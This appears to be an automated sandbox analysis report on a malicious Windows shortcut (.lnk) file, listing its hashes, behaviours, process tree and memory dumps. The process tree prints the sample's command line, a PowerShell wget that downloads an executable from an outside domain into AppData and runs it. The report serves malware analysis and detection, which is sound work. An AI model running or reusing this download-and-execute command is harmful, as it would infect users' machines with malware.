f5734ae475931dbb561fc5b636d5a7825d8d99efa8d4d9cdff7e89bf163613dd

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
26-09-2024 02:41

Target

f5734ae475931dbb561fc5b636d5a7825d8d99efa8d4d9cdff7e89bf163613dd.lnk
Size

1KB
MD5

9ee2b12e8974f00111bb9887f7f9e19f
SHA1

54d2830260e949b25d291c07ebc6d29d8b4f0af8
SHA256

f5734ae475931dbb561fc5b636d5a7825d8d99efa8d4d9cdff7e89bf163613dd
SHA512

4d872cdd7c8428cd3b73f1664ffcc0380fe0171fc172b0262c6d8f9bd6d4e0679fd81387cc3d75cab7c04afc518c99b514459a98e082550edd3d7be3edb69c1c

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2840	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2840	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 2724	2156	cmd.exe	31
PID 2156 wrote to memory of 2724	2156	cmd.exe	31
PID 2156 wrote to memory of 2724	2156	cmd.exe	31
PID 2724 wrote to memory of 2840	2724	cmd.exe	32
PID 2724 wrote to memory of 2840	2724	cmd.exe	32
PID 2724 wrote to memory of 2840	2724	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\f5734ae475931dbb561fc5b636d5a7825d8d99efa8d4d9cdff7e89bf163613dd.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell wget http://lawyerconsult.top/AUGUST.exe -OutFile C:\Users\Admin\AppData\Roaming/hello.exe && C:\Users\Admin\AppData\Roaming/hello.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell wget http://lawyerconsult.top/AUGUST.exe -OutFile C:\Users\Admin\AppData\Roaming/hello.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2840

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2840-40-0x000007FEF601E000-0x000007FEF601F000-memory.dmp

Filesize
4KB

Download
memory/2840-41-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2840-42-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/2840-44-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2840-43-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2840-45-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2840-46-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download